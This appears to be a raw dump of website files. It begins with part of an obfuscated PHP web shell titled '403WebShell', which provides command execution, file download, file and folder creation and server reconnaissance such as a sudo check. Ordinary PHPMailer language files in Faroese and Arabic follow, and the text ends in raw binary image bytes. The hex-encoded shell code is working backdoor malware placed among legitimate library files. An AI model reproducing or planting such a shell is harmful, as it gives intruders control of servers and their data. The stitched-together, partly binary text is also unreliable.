"\74\142\x72\x3e"; } else { echo "\x3c\143\x65\x6e\164\145\162\76\104" . "\151\162\x20\x3a\40" . htmlspecialchars($_POST["\154\157\x6b\x6e\x79\141"]) . "\74\x62\x72\x3e"; } echo "\74\146\157\x72\x6d\x20\x6d\x65\x74\x68\x6f\144\75\42\x70\157\x73\x74\42\x3e\xa\x9\11\116\x65\167\x20\104\x61" . "\x74\145\x20\x3a\x20\74\151\156\x70\x75\x74\x20\156\x61\x6d\145\x3d\42\x74\141\156\147\x67\x61\x6c\42\x20\x74\171\160\145\x3d\42\x74\x65\170\164\x22\40\143\x6c\141\x73\x73\75\x22\165\x70\x22\x20\163\151\x7a\145\75\42\x32\60\x22\40\x76\x61\x6c\x75\x65\x3d\x22" . $g_71beeff9 . "\42\x20\57\x3e\12\11\x9\74\x69\x6e\x70\165\164\x20\x74\x79\x70\x65\75\x22\150\x69\144\x64\145\x6e\42\x20\156\141\x6d\x65\75\x22\154\x6f\x6b\x6e\x79\x61\42\40\166\x61\154\x75\145\x3d\x22" . $_POST["\154\x6f\153\156\171\x61"] . "\x22\x3e\xa\11\x9\74\x69\x6e\x70\165\164\40\x74\x79\160\x65\x3d\42\150\151\x64\x64\x65\x6e\x22\x20\156\141\x6d\x65\75\42\x70\x69\x6c\x69\x68\x22\40\166\x61\154\x75\145\75\x22\x75\x62\x61\150\x74\x61\156\147\x67\141\x6c\42\76"; if ($_POST["\x74\171" . "\x70\x65"] == "\x66\151" . "\154\145") { echo "\x3c\151\156\160\x75\164\x20\x74\x79\x70\145\75\42\x68\x69\144\144\x65\156\42\40\156\x61\155\x65\x3d\42\164\171\x70\145\x22\40\x76\141\x6c\165\x65\75\x22\146\151" . "\x6c\x65\42\x3e"; } else { echo "\x3c\151\156\160\x75\164\40\164\171\160\x65\75\x22\x68\x69\144\x64\x65\x6e\42\40\156\141\x6d\x65\x3d\x22\164\x79\x70\145\x22\40\166\141\154\165\x65\x3d\42\144\151" . "\162\42\x3e"; } echo "\74\x69\x6e\160\165\x74\40\x74\x79\x70\145\x3d\x22\x73\165\142\x6d\x69\164\x22\x20\x76\141\154\x75\145\75\x22\x43\x68\x61\x6e\147\145\x22\40\x6e\141\x6d\x65\75\42\x74\x61\x6e\147\x67\141\154\x65\42\40\143\154\x61\x73\163\x3d\42\x75\x70\42\40\163\x74\x79\x6c\145\75\42\143\x75\x72\163\157\x72\72\40\160\157\x69\156\x74\x65\x72\73\40\x62\157\x72\144\145\x72\x2d\143\157\x6c\157\162\x3a\40\43\x66\146\x66\x22\57\76\12\x9\x9\x3c\57\146\157\162\155\x3e\74\142\162\76"; } } elseif (isset($_POST["\x6c\157\x6b\x6e\171\x61"]) && $_POST["\x70\x69\x6c\x69\150"] == "\x64\x75\x6e\154\x75\x74") { $v_ca3929f3 = $_POST["\154\x6f\153\x6e\x79\x61"]; if ($z_395285b($v_ca3929f3) && isset($v_ca3929f3)) { if ($w_ef919788($v_ca3929f3)) { dunlut($v_ca3929f3); } elseif ($b_7dd970e($i_367af3ad)) { red("\124\150\141\164\40\151\163\40\x44\x69" . "\162\x65\x63" . "\x74\157\162\x79\54\x20\116\x6f\x74\x20\x46\x69" . "\x6c\x65\x20\55\x5f\x2d"); } else { red("\x46\151" . "\154\x65\40\151\x73\x20\116\157\164\40\122\145" . "\141\x64\141\142" . "\154\145\40\41"); } } else { red("\x46\x69" . "\154\x65\40\116\157\x74\x20\x46\x6f" . "\165\x6e\144\x20\41"); } } elseif (isset($_POST["\154\x6f\x6b\x6e\171\x61"]) && $_POST["\160\x69\154\151\x68"] == "\x66\157" . "\x6c\144" . "\x65\x72") { if ($a_7234e717("\x2e\x2f") || $w_ef919788("\x2e\x2f")) { $w_a8ee3c01 = $_POST["\154\x6f\x6b\x6e\171\x61"]; if (isset($_POST["\x62\165\x61\x74\146\157\154\144\x65\x72"])) { $n_dfa65a16 = $o_7398964c($w_a8ee3c01 . "\x2f" . $_POST["\x66\157" . "\x6c\x64\x65" . "\162\x62\141" . "\162\165"]); if ($n_dfa65a16 == true) { green("\106\157\154\144\145\x72\40\74\x62\x3e" . htmlspecialchars($_POST["\146\157" . "\x6c\144\x65" . "\x72\142\x61" . "\162\165"]) . "\x3c\57\142\76\x20\x43\x72\x65\x61\x74\145\144\40\x21"); echo "\74\x66\157\x72\x6d\40\155\145\x74\x68\157\x64\75\x22\x70\x6f\163\x74\42\76\74\x63\145\156\164\x65\162\x3e\x46\x6f\x6c\144\x65\162\x20\72\40\74\x69\156\160\x75\x74\x20\164\x79\160\x65\75\42\x74\x65\x78\x74\x22\40\156\x61\x6d\x65\75\42\x66\157" . "\154\x64\x65" . "\162\142\x61" . "\162\165\42\40\x63\x6c\141\163\163\x3d\x22\x75\160\42\x3e\40\x3c\151\x6e\x70\x75\164\x20\x74\171\x70\x65\x3d\x22\163\x75\x62\x6d\x69\164\42\40\156\141\155\x65\x3d\42\142\x75\x61\164\146\x6f\x6c\x64\145\162\42\40\166\141\154\165\145\x3d\x22\x43\x72\145\141\164\145\40\x66\157\154\x64\145\162\x22\x20\x63\154\x61\163\163\x3d\42\x75\x70\x22\40\163\164\x79\x6c\x65\x3d\42\143\165\162\x73\157\x72\72\40\160\157\x69\x6e\164\145\162\73\x20\142\x6f\162\x64\145\x72\55\143\x6f\x6c\157\162\x3a\40\43\146\x66\146\x22\76\74\x62\x72\x3e\74\142\162\x3e\x3c\57\x63\x65\156\164\x65\x72\x3e"; echo "\74\x69\156\x70\165\164\40\x74\171\x70\145\75\42\x68\x69\144\x64\x65\156\x22\40\x6e\141\x6d\145\x3d\42\154\157\153\x6e\x79\x61\42\40\x76\141\154\x75\x65\75\x22" . $_POST["\154\157\153\156\x79\x61"] . "\42\x3e\xa\40\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\x20\x20\x20\x20\74\x69\x6e\160\165\164\40\x74\171\x70\145\x3d\42\150\151\144\144\x65\156\42\x20\156\x61\x6d\x65\75\x22\160\151\154\x69\x68\x22\x20\x76\141\154\165\x65\x3d\42\146\x6f\154\144\145\x72\x22\76\x3c\x2f\x66\157\162\155\76"; } else { red("\106\x61\151\x6c\145\144\x20\x74\157\40\103\x72\145\141\x74\145\x20\x66\x6f\154\144\145\162\40\x21"); echo "\74\146\157\x72\155\40\155\145\164\x68\x6f\x64\x3d\42\x70\157\163\x74\42\x3e\x3c\x63\x65\156\x74\x65\x72\76\x46\157\154\144\145\x72\x20\x3a\x20\x3c\151\156\160\165\x74\40\164\171\x70\145\75\42\164\145\x78\x74\x22\x20\x6e\x61\x6d\145\x3d\x22\146\157" . "\x6c\x64\x65" . "\x72\x62\x61" . "\x72\165\x22\40\x63\x6c\141\163\x73\75\x22\165\x70\42\76\x20\74\151\x6e\x70\x75\164\40\x74\x79\160\145\75\42\x73\165\142\155\151\164\x22\40\x6e\x61\x6d\145\x3d\x22\x62\165\141\x74\x66\x6f\154\144\x65\x72\42\40\x76\x61\x6c\x75\x65\75\42\x43\162\x65\141\x74\145\x20\x66\x6f\x6c\144\x65\162\42\x20\x63\154\x61\x73\x73\x3d\42\x75\160\x22\40\163\x74\x79\154\145\75\42\x63\x75\162\163\157\x72\72\x20\160\157\x69\x6e\x74\145\x72\73\x20\x62\x6f\x72\144\x65\162\x2d\x63\157\x6c\157\x72\x3a\x20\43\146\146\146\42\76\74\142\162\76\x3c\142\x72\76\x3c\57\143\145\x6e\x74\145\x72\x3e"; echo "\74\151\156\x70\x75\164\x20\164\171\x70\145\75\42\x68\x69\x64\x64\x65\x6e\42\x20\x6e\141\155\x65\x3d\x22\x6c\x6f\153\156\171\141\x22\40\166\141\154\165\x65\x3d\42" . $_POST["\x6c\x6f\153\156\x79\x61"] . "\x22\76\12\x20\x20\x20\40\40\x20\40\x20\40\x20\x20\40\40\x20\x20\x20\x3c\x69\x6e\160\165\164\x20\164\x79\160\x65\75\42\150\151\x64\x64\145\156\42\x20\156\141\x6d\x65\x3d\x22\x70\151\x6c\151\150\42\40\166\x61\x6c\x75\145\x3d\x22\x66\157\x6c\144\145\162\x22\x3e\x3c\57\146\x6f\162\155\x3e"; } } else { echo "\x3c\x66\157\x72\155\40\155\145\164\x68\x6f\144\75\42\160\x6f\x73\164\42\76\x3c\x63\x65\156\x74\145\x72\76\106\157\x6c\x64\145\x72\x20\72\40\x3c\x69\x6e\x70\165\x74\x20\164\x79\x70\x65\x3d\42\164\x65\170\164\42\40\156\141\155\x65\x3d\x22\146\157" . "\154\x64\145" . "\162\142\141" . "\x72\165\x22\40\x63\154\x61\x73\x73\75\x22\x75\160\42\76\x20\x3c\151\156\160\x75\164\40\x74\x79\160\145\x3d\42\x73\165\142\155\x69\164\42\x20\x6e\141\x6d\145\x3d\x22\x62\165\x61\x74\146\x6f\154\x64\145\x72\x22\40\166\141\x6c\165\145\x3d\x22\x43\162\x65\141\164\x65\x20\x66\x6f\154\x64\145\162\42\40\x63\154\x61\x73\163\75\42\x75\160\42\x20\x73\164\171\x6c\x65\x3d\x22\143\165\162\163\x6f\x72\x3a\40\x70\x6f\151\156\164\145\x72\x3b\x20\142\157\x72\144\x65\162\55\143\157\x6c\x6f\x72\72\40\x23\146\146\x66\x22\x3e\74\x62\x72\76\74\142\x72\x3e\x3c\57\x63\x65\156\164\145\162\76"; echo "\74\151\x6e\160\x75\164\40\x74\x79\160\x65\75\42\x68\x69\144\144\145\x6e\42\40\156\x61\x6d\x65\x3d\x22\x6c\157\153\x6e\x79\x61\42\x20\166\x61\x6c\165\145\75\42" . $_POST["\x6c\x6f\153\156\171\x61"] . "\42\76\74\151\x6e\x70\165\x74\40\x74\171\x70\145\75\x22\x68\151\x64\144\145\x6e\x22\x20\x6e\141\x6d\145\x3d\x22\160\151\x6c\151\150\x22\x20\x76\141\x6c\x75\145\75\42\146\157\154\144\145\x72\x22\x3e\74\x2f\146\x6f\x72\x6d\76"; } } } elseif (isset($_POST["\154\x6f\x6b" . "\x6e\x79\141"]) && $_POST["\x70\x69\154\151\x68"] == "\x66\151" . "\154\x65") { if ($a_7234e717("\x2e\57") || $v_25e1398("\56\57")) { $w_a8ee3c01 = $_POST["\154\x6f\x6b" . "\156\x79\x61"]; if (isset($_POST["\x62\x75\x61\x74\x66\x69" . "\154\x65"])) { $n_dfa65a16 = $p_cb4ca253($w_a8ee3c01 . "\x2f" . $_POST["\x66\x69" . "\x6c\x65\142\x61\x72\165"], ''); if ($z_395285b($w_a8ee3c01 . "\57" . $_POST["\x66\x69" . "\154\x65\142\141\x72\x75"])) { green("\x46\151\x6c\145\40\74\142\x3e" . htmlspecialchars($_POST["\146\x69" . "\x6c\x65\x62\141\162\165"]) . "\74\57\142\x3e\x20\x43\x72\x65\x61\x74\x65\x64\40\41"); echo "\x3c\x66\x6f\162\155\x20\x6d\x65\164\x68\x6f\144\x3d\x22\x70\157\163\164\42\x3e\x3c\143\x65\x6e\x74\145\x72\x3e\x46\x69\x6c\145\156\141\x6d\145\40\x3a\40\74\151\156\x70\165\x74\40\x74\x79\x70\145\x3d\x22\164\145\x78\x74\42\40\x6e\141\155\145\75\x22\x66\x69" . "\154\145\x62\x61\x72\x75\x22\x20\143\154\141\163\x73\x3d\x22\165\160\42\76\x20\x3c\x69\156\x70\165\x74\40\164\171\x70\x65\x3d\42\x73\165\x62\155\x69\164\x22\40\x6e\x61\x6d\x65\75\42\142\x75\141\164\x66\151" . "\154\x65\x22\40\166\x61\154\165\x65\x3d\42\x43\162\x65\141\164\145\x20\x46\x69\x6c\145\42\40\x63\154\x61\x73\x73\x3d\x22\165\160\42\40\163\164\x79\154\145\75\42\x63\x75\162\x73\157\162\72\x20\160\x6f\151\156\164\145\162\x3b\40\142\157\x72\x64\145\x72\x2d\143\157\x6c\157\x72\72\40\x23\146\x66\146\42\76\74\142\162\x3e\74\x62\162\76\x3c\x2f\x63\145\x6e\x74\x65\x72\x3e"; echo "\74\151\156\x70\165\x74\40\164\x79\x70\145\x3d\x22\150\151\144\x64\145\x6e\x22\x20\x6e\x61\x6d\x65\75\42\x6c\x6f\x6b\156\171\141\x22\x20\166\141\154\x75\x65\75\x22" . $_POST["\154\x6f\153" . "\156\x79\141"] . "\x22\x3e\xa\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\40\x20\x20\x3c\151\x6e\x70\x75\x74\x20\x74\171\160\x65\x3d\42\150\x69\x64\144\145\x6e\x22\40\x6e\141\x6d\145\x3d\42\x70\151\154\151\150\x22\40\x76\x61\154\x75\145\75\42\x66\x69" . "\x6c\145\x22\x3e\74\x2f\146\157\162\155\x3e"; } else { red("\x46\x61\x69\x6c\145\144\x20\164\157\40\103\x72\145\x61\x74\x65\x20\106\x69\x6c\145\x20\x21"); echo "\x3c\146\x6f\162\155\40\155\145\164\150\x6f\144\x3d\42\160\x6f\163\164\x22\x3e\74\143\145\156\164\145\162\x3e\106\x69\154\x65\156\141\155\145\x20\72\x20\x3c\x69\x6e\x70\x75\x74\x20\164\x79\160\145\x3d\42\x74\145\170\164\42\x20\x6e\141\x6d\145\x3d\42\146\151" . "\154\x65\x62\141\162\165\42\40\x63\154\141\163\x73\x3d\42\x75\160\x22\x3e\40\74\151\x6e\160\165\x74\x20\x74\x79\x70\145\x3d\42\x73\x75\x62\x6d\151\x74\42\x20\x6e\141\x6d\145\x3d\x22\x62\165\141\164\146\x69" . "\154\145\x22\40\166\141\x6c\165\145\x3d\x22\103\x72\145\141\x74\x65\40\x46\151\154\145\42\40\x63\x6c\x61\x73\163\75\42\x75\160\x22\x20\163\x74\x79\154\145\75\42\143\165\x72\x73\x6f\162\72\40\160\157\151\156\x74\145\x72\73\40\x62\157\162\144\145\x72\x2d\143\x6f\x6c\157\x72\72\x20\x23\146\146\x66\42\76\74\x62\x72\76\x3c\x62\x72\76\74\57\143\145\x6e\x74\x65\x72\76"; echo "\x3c\151\156\160\x75\164\40\x74\x79\160\145\x3d\x22\x68\151\144\x64\145\x6e\42\x20\x6e\x61\x6d\145\75\x22\x6c\157\153\x6e\171\141\x22\x20\x76\x61\154\x75\145\75\x22" . $_POST["\154\157\x6b" . "\x6e\171\x61"] . "\x22\76\12\40\40\x20\x20\40\40\x20\40\40\x20\40\x20\x20\x20\40\40\74\151\156\x70\165\164\x20\164\x79\x70\x65\x3d\x22\x68\151\144\144\x65\x6e\x22\40\156\141\155\145\x3d\x22\160\151\154\x69\150\42\x20\166\141\154\165\x65\x3d\42\146\x69" . "\154\x65\42\x3e\x3c\x2f\x66\157\162\x6d\76"; } } else { echo "\74\x66\x6f\x72\155\40\x6d\145\164\150\157\x64\75\42\x70\x6f\x73\164\x22\x3e\x3c\x63\x65\156\x74\x65\x72\76\x46\x69\x6c\145\x6e\x61\155\145\x20\x3a\x20\74\x69\156\x70\165\x74\40\164\171\x70\145\x3d\x22\x74\145\170\164\42\x20\156\141\155\x65\x3d\42\x66\x69" . "\x6c\145\x62\141\x72\165\42\x20\x63\154\x61\x73\x73\x3d\42\x75\160\x22\76\40\x3c\x69\156\160\165\x74\x20\164\x79\x70\145\75\x22\x73\x75\x62\x6d\x69\164\42\40\x6e\x61\x6d\145\75\x22\142\165\141\164\x66\x69" . "\x6c\145\42\40\166\141\x6c\165\x65\75\x22\103\162\x65\x61\164\x65\40\106\151\x6c\145\42\40\143\x6c\x61\163\163\75\42\x75\x70\x22\40\x73\164\171\154\x65\75\x22\x63\165\162\x73\157\x72\x3a\x20\160\x6f\151\156\x74\x65\x72\73\40\142\x6f\x72\144\x65\162\x2d\x63\x6f\x6c\x6f\x72\72\x20\43\146\146\146\42\76\x3c\142\162\76\x3c\142\x72\76\74\57\x63\145\x6e\164\145\162\76"; echo "\74\151\156\x70\165\164\40\164\x79\160\145\75\x22\x68\151\x64\144\145\156\42\40\x6e\x61\155\145\x3d\x22\154\x6f\x6b\x6e\171\141\x22\40\166\141\x6c\x75\145\x3d\42" . $_POST["\x6c\x6f\153" . "\x6e\x79\141"] . "\42\x3e\74\x69\x6e\x70\165\164\40\164\x79\160\145\75\42\150\x69\144\x64\x65\156\x22\x20\156\141\x6d\145\75\42\x70\x69\x6c\x69\x68\x22\x20\166\x61\x6c\x75\x65\75\42\146\x69" . "\x6c\145\42\x3e\x3c\57\x66\157\162\x6d\76"; } } } goto Qr83q; aWY3Z: function ggr($i_367af3ad) { $a_e8b7be43 = "\x66\x75\x6e" . "\x63\164\x69" . "\157\156\x5f" . "\x65\x78\x69\163" . "\x74\163"; $g_71beeff9 = "\160\x6f" . "\x73\x69" . "\x78\137\147\145" . "\164\147\162" . "\x67\151\144"; $y_6b9df6f = "\146\x69" . "\154\x65" . "\x67\162\x6f" . "\x75\x70"; if ($a_e8b7be43($g_71beeff9)) { if (!$a_e8b7be43($y_6b9df6f)) { return "\x3f"; } $r_98dd4acc = $g_71beeff9($y_6b9df6f($i_367af3ad)); if (empty($r_98dd4acc)) { $m_efda7a5a = $y_6b9df6f($i_367af3ad); if (empty($m_efda7a5a)) { return "\x3f"; } else { return $m_efda7a5a; } } else { return $r_98dd4acc["\156\141\155\145"]; } } elseif ($a_e8b7be43($y_6b9df6f)) { return $y_6b9df6f($i_367af3ad); } else { return "\77"; } } goto rrEUB; uaADV: $e_9e0d9a8b = "\122\x45" . "\x4d" . "\x4f\x54\105\137\101\x44" . "\104\122"; goto o17wQ; ohRIa: if (empty($a_10ae07aa)) { $l_72c5a1bf = "\x3c\x66\157\156\x74\x20\143\x6f\154\157\x72\x3d\x27\43\x64\146\65\x27\76\x4e\117\116\x45\74\x2f\146\157\x6e\x74\76"; } else { $l_72c5a1bf = "\74\146\157\156\x74\x20\143\157\154\157\x72\x3d\47\x72\145\144\x27\x3e" . $a_10ae07aa . "\x3c\x2f\146\157\156\164\x3e"; } goto rhAYL; o17wQ: $w_d063a9ff = "\162\x65" . "\x61\x6c" . "\160\141" . "\164\x68"; goto nen6F; p6t94: author(); goto l7xqo; jFVR0: function green($f_3b8ba7c7) { echo "\x3c\x63\145\156\164\x65\162\76\x3c\146\x6f\x6e\x74\x20\143\157\x6c\x6f\x72\75\47\147\162\145\x65\x6e\47\x3e" . $f_3b8ba7c7 . "\x3c\57\143\x65\x6e\x74\145\x72\76\x3c\57\x66\x6f\156\x74\76"; } goto PerNt; mSple: function oren($f_3b8ba7c7) { return "\74\x63\x65\x6e\x74\x65\x72\76\x3c\x66\157\x6e\164\x20\x63\x6f\x6c\157\162\75\x27\157\x72\x61\156\x67\145\x27\x3e" . $f_3b8ba7c7 . "\x3c\57\143\145\156\164\x65\x72\76\x3c\x2f\x66\x6f\x6e\x74\76"; } goto Fw92s; rRTEU: if (@$z_395285b("\x2f" . "\x75\x73" . "\x72\x2f\142" . "\151\156\x2f\163" . "\165" . "\144" . "\157")) { echo "\74\146\157\156\164\x20\143\157\154\157\x72\x3d\147\x72\x65\145\156\76\117\x4e\74\57\x66\157\x6e\164\76"; } else { echo "\x3c\146\157\x6e\x74\40\143\x6f\x6c\157\x72\75\x72\145\144\76\x4f\106\x46\74\x2f\146\x6f\156\164\x3e"; } goto rgZnW; MMlvK: $j_4be4c131 = $j_f0fb391c($x_1a0aa036($a_40d8acc2), '', $a_40d8acc2); goto GWN3Y; jsz_f: echo statusnya($j_4be4c131); goto BBqws; C0cje: $m_821bfdba = (isset($_SERVER["\110" . "\124" . "\124\x50" . "\123"]) && $_SERVER["\x48" . "\124" . "\124\120" . "\x53"] === "\x6f" . "\x6e" ? "\x68\164" . "\x74\160" . "\163" : "\150\x74" . "\164\x70") . "\72\57\x2f" . $_SERVER["\x48\x54" . "\124\120" . "\x5f\x48" . "\x4f\123" . "\x54"]; goto RJSxn; dkvXO: echo "\74\142\162\x3e\x3c\x66\x6f\162\155\40\x6d\x65\164\150\x6f\x64\75\42\x70\157\x73\164\x22\40\145\x6e\x63\164\x79\160\x65\x3d\x22\x61\160\x70\154\151\x63\141\x74\x69\x6f\x6e\x2f\x78\55\x77\167\167\x2d\x66\x6f\x72\x6d\x2d\x75\x72\x6c\145\156\x63\x6f\x64\145\144\42\76\xa\x43\x6f" . "\155\155" . "\141\x6e" . "\144\x20\x3a\x20\74\151\156\x70\x75\x74\x20\x74\171\160\x65\75\42\164\x65\x78\x74\42\40\x6e\141\155\x65\75\x22\153\157\x6d\145\x6e\x64\42\40\143\x6c\141\163\163\x3d\42\x75\160\x22\40\163\x74\171\x6c\145\x3d\x22\143\165\x72\163\x6f\x72\x3a\x20\x70\x6f\151\156\164\x65\162\73\x20\x62\x6f\162\x64\x65\x72\x2d\143\157\x6c\157\x72\x3a\40\x23\60\x30\60\x22\x20\x76\x61\x6c\x75\x65\75\x22" . htmlspecialchars($_POST["\x6b\157\155\x65\x6e\x64"]) . "\x22\76\xa\74\151\156\160\165\164\x20\x74\171\160\145\x3d\x22\x73\x75\142\x6d\151\x74\42\x20\156\141\x6d\x65\x3d\x22\x6b\157\155\145\156\144\x73\x22\40\166\x61\x6c\165\145\75\x22\76\x3e\x22\40\143\x6c\x61\x73\x73\x3d\x22\x75\160\42\x20\x73\x74\171\x6c\145\x3d\x22\x63\x75\162\163\157\x72\x3a\40\160\157\151\x6e\x74\145\162\73\40\142\157\162\144\145\162\55\143\x6f\x6c\157\162\72\40\43\x66\146\146\x22\x3e\12\74\x2f\x66\157\162\x6d\x3e"; goto OIWlo; Qm6Ql: $w_ef919788 = "\x69\163" . "\x5f\x72\145\141" . "\144\141" . "\142\x6c\x65"; goto xVSjI; MOUIa: echo "\x53\171\x73" . "\164\x65\155\x20\72\x20\x3c\146\x6f\156\x74\x20\143\x6f\154\157\x72\x3d\47\43\144\146\65\x27\x3e" . @$o_65062865() . "\x3c\x2f\146\157\156\164\76\74\x62\162\x3e"; goto Ibsdz; juhWK: function cfn($i_367af3ad) { $a_e8b7be43 = "\142\141" . "\x73\145\x6e\141" . "\x6d\x65"; $g_71beeff9 = "\160\x61\x74" . "\150\151\x6e\x66" . "\x6f"; $y_6b9df6f = $g_71beeff9($a_e8b7be43($i_367af3ad), PATHINFO_EXTENSION); if ($y_6b9df6f == "\172\151\160") { return "\x3c\x69\x20\143\154\141\x73\x73\x3d\42\146\x61\x20\146\x61\55\x66\151\154\145\55\172\151\x70\55\x6f\42\x20\x73\164\x79\x6c\x65\75\x22\x63\x6f\x6c\157\x72\x3a\40\x23\144\x36\144\64\x63\145\42\76\x3c\57\151\x3e"; } elseif (preg_match("\x2f\152\x70\x65\x67\x7c\x6a\x70\x67\x7c\x70\x6e\x67\174\x69\x63\x6f\57\151\x6d", $y_6b9df6f)) { return "\74\x69\x20\x63\154\141\x73\163\x3d\x22\146\x61\40\146\x61\55\x66\151\x6c\145\x2d\x69\x6d\x61\x67\145\x2d\x6f\x22\x20\163\164\x79\x6c\145\x3d\x22\x63\157\154\157\162\72\x20\43\x64\x36\144\x34\x63\x65\42\x3e\74\x2f\x69\x3e"; } elseif ($y_6b9df6f == "\x74\170\x74") { return "\74\x69\40\x63\154\141\163\x73\x3d\x22\146\141\40\146\141\x2d\146\x69\x6c\x65\x2d\164\x65\x78\x74\55\x6f\42\40\x73\164\x79\154\x65\75\42\143\x6f\154\x6f\162\72\40\x23\x64\66\144\x34\143\145\x22\76\x3c\x2f\151\x3e"; } elseif ($y_6b9df6f == "\x70\x64\146") { return "\x3c\151\x20\143\x6c\x61\x73\163\75\x22\146\x61\40\x66\141\55\x66\151\x6c\145\55\x70\144\146\55\157\x22\x20\163\164\171\154\x65\75\x22\143\157\154\x6f\162\72\x20\43\x64\x36\x64\x34\x63\x65\42\x3e\74\x2f\151\x3e"; } elseif ($y_6b9df6f == "\150\x74\155\154") { return "\74\x69\40\x63\x6c\x61\x73\163\x3d\x22\146\141\x20\146\x61\55\146\x69\154\x65\55\x63\x6f\144\x65\55\157\x22\x20\163\164\171\154\x65\x3d\42\x63\x6f\154\157\x72\72\40\43\x64\x36\x64\64\x63\145\42\x3e\74\x2f\151\x3e"; } else { return "\74\x69\40\x63\x6c\x61\163\x73\x3d\42\x66\141\40\x66\141\55\146\151\x6c\145\55\157\42\x20\163\164\171\x6c\145\x3d\42\143\157\154\x6f\x72\72\x20\43\144\x36\144\64\143\x65\42\76\74\x2f\x69\x3e"; } } goto J8mr5; Bo_OK: $j_f0fb391c = "\163\x74" . "\162\137\x72" . "\x65\160" . "\154\x61" . "\143\x65"; goto TPXiP; GlE_A: echo "\x3c\x74\x69\164\154\145\x3e\x34\x30\x33" . "\x57\145\x62" . "\123\150" . "\145\x6c" . "\154\x3c\57\164\x69\164\154\145\x3e"; goto kBF2w; BqRsO: set_time_limit(0); goto BoDNx; o4Hyh: ?>PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-fo.php000064400000003145151026170410021363 0ustar00 */ $PHPMAILER_LANG['authenticate'] = 'SMTP feilur: Kundi ikki góðkenna.'; $PHPMAILER_LANG['connect_host'] = 'SMTP feilur: Kundi ikki knýta samband við SMTP vert.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP feilur: Data ikki góðkent.'; //$PHPMAILER_LANG['empty_message'] = 'Message body empty'; $PHPMAILER_LANG['encoding'] = 'Ókend encoding: '; $PHPMAILER_LANG['execute'] = 'Kundi ikki útføra: '; $PHPMAILER_LANG['file_access'] = 'Kundi ikki tilganga fílu: '; $PHPMAILER_LANG['file_open'] = 'Fílu feilur: Kundi ikki opna fílu: '; $PHPMAILER_LANG['from_failed'] = 'fylgjandi Frá/From adressa miseydnaðist: '; $PHPMAILER_LANG['instantiate'] = 'Kuni ikki instantiera mail funktión.'; //$PHPMAILER_LANG['invalid_address'] = 'Invalid address: '; $PHPMAILER_LANG['mailer_not_supported'] = ' er ikki supporterað.'; $PHPMAILER_LANG['provide_address'] = 'Tú skal uppgeva minst móttakara-emailadressu(r).'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP Feilur: Fylgjandi móttakarar miseydnaðust: '; //$PHPMAILER_LANG['signing'] = 'Signing Error: '; //$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() failed.'; //$PHPMAILER_LANG['smtp_error'] = 'SMTP server error: '; //$PHPMAILER_LANG['variable_set'] = 'Cannot set or reset variable: '; //$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-af.php000064400000003060151026170410021341 0ustar00 */ $PHPMAILER_LANG['authenticate'] = 'خطأ SMTP : لا يمكن تأكيد الهوية.'; $PHPMAILER_LANG['connect_host'] = 'خطأ SMTP: لا يمكن الاتصال بالخادم SMTP.'; $PHPMAILER_LANG['data_not_accepted'] = 'خطأ SMTP: لم يتم قبول المعلومات .'; $PHPMAILER_LANG['empty_message'] = 'نص الرسالة فارغ'; $PHPMAILER_LANG['encoding'] = 'ترميز غير معروف: '; $PHPMAILER_LANG['execute'] = 'لا يمكن تنفيذ : '; $PHPMAILER_LANG['file_access'] = 'لا يمكن الوصول للملف: '; $PHPMAILER_LANG['file_open'] = 'خطأ في الملف: لا يمكن فتحه: '; $PHPMAILER_LANG['from_failed'] = 'خطأ على مستوى عنوان المرسل : '; $PHPMAILER_LANG['instantiate'] = 'لا يمكن توفير خدمة البريد.'; $PHPMAILER_LANG['invalid_address'] = 'الإرسال غير ممكن لأن عنوان البريد الإلكتروني غير صالح: '; $PHPMAILER_LANG['mailer_not_supported'] = ' برنامج الإرسال غير مدعوم.'; $PHPMAILER_LANG['provide_address'] = 'يجب توفير عنوان البريد الإلكتروني لمستلم واحد على الأقل.'; $PHPMAILER_LANG['recipients_failed'] = 'خطأ SMTP: الأخطاء التالية فشل في الارسال لكل من : '; $PHPMAILER_LANG['signing'] = 'خطأ في التوقيع: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() غير ممكن.'; $PHPMAILER_LANG['smtp_error'] = 'خطأ على مستوى الخادم SMTP: '; $PHPMAILER_LANG['variable_set'] = 'لا يمكن تعيين أو إعادة تعيين متغير: '; $PHPMAILER_LANG['extension_missing'] = 'الإضافة غير موجودة: '; PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-de.php000064400000003536151026170410021353 0ustar00 ���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����͌Ÿï¿½@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpؚ^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭟ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纟�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� 